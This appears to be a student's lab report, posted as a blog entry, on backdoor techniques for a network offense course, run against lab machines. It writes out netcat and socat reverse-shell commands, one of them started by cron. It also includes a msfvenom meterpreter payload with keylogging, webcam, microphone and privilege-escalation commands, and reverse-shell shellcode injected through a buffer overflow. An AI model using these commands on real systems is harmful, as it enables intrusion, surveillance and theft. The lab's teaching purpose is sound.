《网络对抗技术》 Exp2 后门原理与实践

实验内容

  • 1、使用netcat获取主机操作Shell,cron启动 (0.5分)

  • 2、使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • 3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • 4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  • 5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

基础问题回答

  • 1、例举你能想到的一个后门进入到你系统中的可能方式?
    答:正版软件故意或被攻击,包含后门;正版库文件中包含后门;安装包中包含后门,放到网上供下载;绑定到特定文件中,放到网上供下载;直接发送恶意程序;发送攻击性钓鱼链接,恶意网站种马;攻击系统漏洞,获取控制权后,安装后门。

  • 2、例举你知道的后门如何启动起来(win及linux)的方式?
    答:开机自启动技术;win的定时任务;linux的cron(linux下的定时执行工具);修改文件关联;修改后门程序名字、图标、扩展名,诱导用户点击。

  • 3、Meterpreter有哪些给你映像深刻的功能?
    答:可直接生成后门程序,生成后门程序,可以获取目标主机音频、摄像头、截图、击键操作(谍战片的既视感)。

  • 4、如何发现自己有系统有没有被安装后门?
    答:及时安装系统补丁,开启杀毒软件,杀毒软件的木马库版本及时更新,手动查看注册表和启动项,关注任务计划程序库。

常用工具学习

NC或netcat

是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。

netcat常用命令

natcat.exe -help可以查看帮助文档

  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
 

Win获得Linux Shell

  • 1.Windows 打开监听

    • 下载解压ncat.rar
    • 进入ncat.exe所在文件夹,并执行ncat.exe -l -p 端
    • Linux反弹连接Windowsnc 192.168.248.1 1209 -e /bin/sh
    •  

       

       

      (2)Linux获取Windows Shell

      • Linux运行监听指令nc -l -p 1209
      • Windows反弹连接Linuxncat.exe 192.168.248.128 1209 -e cmd.exe
      • 运行结果如下:

 

 

 

任务一进阶版:使用netcat、socat实现windows,linux之间的后门连接,任务计划启动

(1)Windows获取Linux Shell(使用netcat,cron启动)

  • Windows运行监听指令ncat.exe -l -p 1209
  • Linux反弹连接,cron启动15 * * * * /bin/netcat 192.168.248.1 1209 -e /bin/sh
  • 运行结果如下:

 

 

 

 

 

(2)Linux获取Windows Shell(使用socat,计划任务启动)

  • Linux运行监听指令socat - tcp:192.168.248.1:1209
  • Windows反弹连接,设置任务计划启动
  • 运行结果如下:

 

 

 

 

 

 

 

 

 

 

 

 

需求分析

  1. 后门程序meterpreter
  2. 将后门程序放到目标机中
  3. 使目标机运行后门程序且不被恶意代码检测程序和防火墙发现
  4. 攻击者连接后门程序
  5. 远程执行各种指令

 

 

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f exe > meter_backdoor.exe
  • 将生成的后门程序meter_backdoor.exe拷贝到受控方
  • 在受控方Windows中使用ncat.exe -lv 1209 > meter_backdoor.exe查看连接状态
  • 在主控方kali中输入nc 192.168.248.1 1209 < meter_backdoor.exe

在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端

 

 

 

 

 

 

 

 

获取目标主机shell 主机音频 主机摄像头  键盘输入 提权

 

shell record_mic webcam_snap keyscan_start keyscan_dump getsystem

 

 

 

 

 

 

 

 

选作

下载反弹连接的shellcode

重复实验一中的第三部分的准备工作

 

 输入下面代码生成shellcode文件

perl -e 'print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

 

 

 打开一个终端输入

(cat input_shellcode;cat) | ./20181209

 

,注入这段攻击

 

 

 

 再打开个终端输入

ps -ef | grep 20181209

 

 采用gdb调试

 

 

寻找到esp,修改指令

perl -e 'print "A" x 32;print"\xd0\x44\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input 

运行的如下

 

 

打开msfconsole

 

 

 

 使用(cat input;cat) | ./20181209将input输入

 

 

 

 实验成功

实践总结与体会

  • 实验过程中最大的触动还是在使用MSF的时候,非常轻易的就从Windows上获取到了许多信息,在实验成功的同时也越来越让我感觉到现在的电脑真的是不堪一击,当然很多时候还是由于我们缺乏一定的安全意识所导致的。比如说没有养成定时打补丁的习惯,又或者是在下载软件的时候没有去通过正规渠道,这些东西在平常看起来没有什么大问题,如果有一天你的电脑有了利用价值,那么黑客想要攻击你的电脑就会变得易如反掌。
  • 提高电脑的安全性还是要从我们平常做起,比如说可以经常关闭一些本机不用的端口或只允许指定的端口访问,其次要使用专杀木马的软件,为了有效地防范木马后门,还要学会对进程进行操作,时时注意系统运行状况,看看是否有一些不明进程正运行并及时地将不明进程终止掉。
posted @ 2021-03-28 16:13  STong66  阅读(140)  评论(0编辑  收藏  举报